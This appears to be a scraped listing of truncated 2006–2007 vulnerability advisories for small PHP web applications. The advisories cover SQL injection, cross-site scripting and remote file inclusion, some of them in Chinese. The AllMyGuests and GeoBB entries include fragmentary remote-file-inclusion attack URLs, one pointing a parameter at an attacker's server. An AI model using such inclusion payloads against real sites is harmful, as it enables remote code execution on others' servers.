CVE-2007-0346: Undefined Security Weakness

SQL injection vulnerability in index.php in SmE FileMailer 1.21 allows remote attackers to execute arbitrary SQL commands via the us parameter...

Oreon <= 1.2.3 RC4 (lang/index.php file) Remote InclusionVulnerability

No description provided by source. ------------------------------------------------------------------------------------------------------------------------ Script:oreon-1.2.3-RC4 Downlaoad:http://www.oreon-project.org/...

CVE-2007-0339: Undefined Security Weakness

SQL injection vulnerability in index.php aka the login form in Scriptme SMe FileMailer 1.21 allows remote attackers to execute arbitrary SQL commands via the Password field ps parameter. NOTE: some of these details are obtained from third party information...

Oreon 1.2.3 RC4 - langindex.php Remote File Inclusion

Oreon 1.2.3 RC4 - langindex.php Remote File Inclusion ------------------------------------------------------------------------------------------------------------------------ Script:oreon-1.2.3-RC4 Downlaoad:http://www.oreon-project.org/...

Oreon <= 1.2.3 RC4 (lang/index.php file) Remote InclusionVulnerability

Exploit for unknown platform in category web applications ====================================================================== Oreon = 1.2.3 RC4 lang/index.php file Remote InclusionVulnerability ======================================================================...

Oreon 1.2.3 RC4 - '/lang/index.php' Remote File Inclusion

------------------------------------------------------------------------------------------------------------------------ Script:oreon-1.2.3-RC4 Downlaoad:http://www.oreon-project.org/...

Cross site scripting

Cross-site scripting XSS vulnerability in index.php in 1 Fastilo 2.0 and 2 Open Solution Quick.Cart 2.0 allows remote attackers to inject arbitrary web script or HTML via the p parameter. NOTE: some of these details are obtained from third party information...

CVE-2007-0250

index.php in Nwom topsites 3.0 allows remote attackers to obtain potentially sensitive information via a ' quote character in the o parameter, which forces a SQL error...

CVE-2007-0258

CVE-2007-0258 is an XSS vulnerability in the web application code paths for 1) Fastilo 2.0 and 2) Open Solution Quick.Cart 2.0, specifically in index.php where the p parameter can be used to inject arbitrary script/HTML. The connected sources consistently describe the issue as a cross-site script...

CVE-2007-0250

CVE-2007-0250 affects Nwom topsites 3.0. The vulnerability is in index.php where a single quote in the o parameter can trigger a SQL error, potentially exposing sensitive information. Concrete impact is information disclosure (partial confidentiality). No remediation or patch details are provided...

CVE-2007-0250: Undefined Security Weakness

index.php in Nwom topsites 3.0 allows remote attackers to obtain potentially sensitive information via a ' quote character in the o parameter, which forces a SQL error...

CVE-2007-0249: Undefined Security Weakness

Cross-site scripting XSS vulnerability in index.php in Nwom topsites 3.0 allows remote attackers to inject arbitrary web script or HTML via the o parameter...

CVE-2007-0258: Undefined Security Weakness

Cross-site scripting XSS vulnerability in index.php in 1 Fastilo 2.0 and 2 Open Solution Quick.Cart 2.0 allows remote attackers to inject arbitrary web script or HTML via the p parameter. NOTE: some of these details are obtained from third party information...

PT-2007-1732 · Naig · Naig

Name of the Vulnerable Software and Affected Versions: Naig versions 0.5.2 and earlier Description: A remote file inclusion issue in index.php allows remote attackers to execute arbitrary PHP code via a URL in the this path parameter. However, a reliable third party disputes this issue, stating...

CVE-2007-0260: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in Naig 0.5.2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the thispath parameter. NOTE: a reliable third party disputes this vulnerability because thispath is defined before use...

CVE-2006-6487: Undefined Security Weakness

Cross-site scripting XSS vulnerability in index.php in DT Guestbook dtguestbook 1.0f, when registerglobals is enabled, allows remote attackers to inject arbitrary web script or HTML via the error parameter...

AllMyGuests远程文件包含漏洞

AllMyGuests是一款基于PHP的WEB应用程序。 AllMyGuests不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'AMGserverpath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 AllMyPHP AllMyGuests 0.3 目前没有解决方案提供： http://www.php-resource.net/content-12.html http://example.com/include/submit.inc.php?AMGserverpath=attacker's...

AllMyLinks Index.PHP远程文件包含漏洞

AllMyLinks是一款基于PHP的WEB应用程序。 AllMyLinks不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Index.PHP'脚本对用户提交的WEB参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 AllMyPHP AllMyLinks 0.5 目前没有解决方案提供： http://www.php-resource.net/content-12.html...

AllMyVisitors Index.PHP远程文件包含漏洞

AllMyVisitors是一款基于PHP的WEB应用程序。 AllMyVisitors不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Index.PHP'脚本对用户提交的'AMVserverpath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 AllMyPHP AllMyVisitors 0.4 目前没有解决方案提供： http://www.php-resource.net/content-12.html...

geobb-rfi.txt

BhhGroup.Org & Bilgi-Yonetimi.Org.Tr script name : GeoBB Georgian Bulletin Board Script Download : http://hotscripts.com/Detailed/58100.html Risk : High Found By : ShaFuck31 Vulnerable file : index.php Vuln. Code: require$action.'.php'; Vuln : http://www.victim.com/ScriptPath/index.php?action=she...